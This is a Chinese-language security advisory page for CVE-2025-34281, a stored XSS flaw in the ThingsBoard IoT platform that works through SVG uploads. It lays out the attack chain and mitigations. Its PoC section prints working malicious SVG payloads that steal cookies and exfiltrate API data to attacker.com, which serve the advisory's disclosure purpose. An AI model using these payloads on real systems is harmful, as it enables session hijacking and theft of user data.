IPBUF安全漏洞报告
English
CVE-2025-34281 CVSS 5.4 中危

CVE-2025-34281:ThingsBoard 存储型XSS漏洞

披露日期: 2025-10-17
来源: 596c5446-0ce5-4ba2-aa66-48b3b757a647

漏洞信息

漏洞编号
CVE-2025-34281
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ThingsBoard

相关标签

XSS存储型XSSStored XSSThingsBoardSVGCVE-2025-34281物联网平台IoTImageController文件上传漏洞

漏洞概述

CVE-2025-34281是ThingsBoard物联网平台中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于ThingsBoard v4.2.1之前的版本中,允许经过身份验证的低权限用户通过"Image Gallery"(图片库)功能上传恶意的SVG图片文件。由于ThingsBoard的ImageController在处理用户上传的SVG图片时未能正确限制JavaScript代码的执行,攻击者可以将包含恶意脚本的SVG文件上传到平台服务器。当其他用户通过公共API端点访问这些恶意SVG图片,或者在仪表板创建小部件(widget)时通过iframe元素嵌入这些恶意图片时,恶意JavaScript代码将在受害者的浏览器上下文中执行。该漏洞的CVSS评分为5.4,属于中危级别,攻击者需要拥有有效的低权限账户即可发起攻击。一旦成功利用,攻击者可以窃取其他用户的会话信息、劫持用户账户、执行未授权操作,甚至可能导致整个平台账户体系被攻陷。该漏洞由安全研究员596c5446-0ce5-4ba2-aa66-48b3b757a647发现并报告,ThingsBoard官方已在v4.2.1版本中修复了该问题。

技术细节

该漏洞的根本原因在于ThingsBoard的ImageController控制器对用户上传的SVG文件缺乏充分的安全过滤和内容验证机制。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,其本身支持嵌入JavaScript脚本和事件处理器(如onload、onclick等),这使得SVG文件本质上具备执行JavaScript代码的能力。

攻击利用过程如下:

1. 攻击者首先需要拥有一个ThingsBoard平台的合法账户(低权限即可)。

2. 攻击者构造一个包含恶意JavaScript代码的SVG文件。SVG文件中可以通过<script>标签直接嵌入脚本,或者通过事件属性(如onload="malicious_code()")触发代码执行。例如,可以在SVG的根元素中添加onload事件来执行任意JavaScript。

3. 攻击者通过"Image Gallery"功能上传该恶意SVG文件。由于ImageController未对上传的SVG内容进行安全检查(如未剥离脚本标签、未设置正确的Content-Security-Policy响应头),恶意SVG文件被成功存储到服务器。

4. 当其他用户通过公共API端点(如/images/xxx)直接访问该SVG图片时,浏览器会将SVG作为XML文档解析并执行其中嵌入的JavaScript代码,从而在受害者会话上下文中执行恶意操作。

5. 另一种触发方式是在创建仪表板小部件(widget)时,通过iframe元素嵌入该恶意SVG图片链接。由于iframe加载的内容与父页面同源,恶意脚本同样可以在ThingsBoard的会话上下文中执行。

修复方案包括:对上传的SVG文件进行内容清洗,移除所有脚本标签和事件处理器;或者在服务器端为SVG文件响应设置Content-Security-Policy头,禁止内联脚本执行;最严格的方式是完全禁止SVG文件的上传。

攻击链分析

STEP 1
步骤1:获取账户
攻击者注册或获取一个ThingsBoard平台的低权限账户。ThingsBoard默认允许用户注册,攻击者可以轻松获得合法的登录凭据。
STEP 2
步骤2:构造恶意SVG
攻击者创建一个包含恶意JavaScript代码的SVG文件,通过<script>标签或onload等事件属性嵌入XSS payload,用于窃取会话cookie或执行未授权操作。
STEP 3
步骤3:上传恶意文件
攻击者通过ThingsBoard的"Image Gallery"功能上传恶意SVG文件。由于ImageController缺乏对SVG内容的安全过滤,恶意文件被成功存储到服务器。
STEP 4
步骤4:诱导受害者访问
攻击者通过两种方式触发XSS:(1)诱导受害者直接通过公共API端点访问恶意SVG图片;(2)在仪表板小部件中通过iframe嵌入恶意SVG图片链接。
STEP 5
步骤5:执行恶意代码
当受害者浏览器加载恶意SVG时,嵌入的JavaScript代码在ThingsBoard会话上下文中执行,窃取cookie、会话令牌或执行未授权的API调用。
STEP 6
步骤6:账户劫持与权限提升
攻击者利用窃取的会话信息劫持受害者账户,可能进一步获取管理员权限,导致整个平台的数据泄露或被恶意控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-34281: ThingsBoard Stored XSS via SVG Upload --> <!-- Malicious SVG file that executes JavaScript when loaded --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" onload="alert('XSS Triggered - CVE-2025-34281'); // Steal session cookies or perform actions as the victim var img = new Image(); img.src='https://attacker.com/steal?cookie='+document.cookie; // Example: Make API call as the victim user fetch('/api/user/users?pageSize=10&page=0', {credentials: 'include'}) .then(r => r.json()) .then(data => { new Image().src='https://attacker.com/exfil?data='+btoa(JSON.stringify(data)); });"> <rect x="0" y="0" width="200" height="200" fill="red"/> <text x="50" y="100" fill="white">Malicious Image</text> </svg> <!-- Alternative payload using <script> tag --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <script type="text/javascript"> // Execute arbitrary JavaScript in the victim's session context alert('Stored XSS via SVG - CVE-2025-34281'); </script> <rect x="0" y="0" width="200" height="200" fill="blue"/> </svg>

影响范围

ThingsBoard < v4.2.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:(1) 在Web服务器或反向代理层面,为所有SVG文件响应添加Content-Security-Policy: script-src 'none'响应头,阻止SVG中JavaScript的执行;(2) 限制Image Gallery功能的使用权限,仅允许受信任的管理员上传图片;(3) 部署Web应用防火墙(WAF)规则,检测和拦截包含恶意脚本的SVG文件上传;(4) 定期审查已上传的图片文件,删除可疑的SVG文件;(5) 监控异常的用户行为和API调用,及时发现潜在的XSS攻击活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表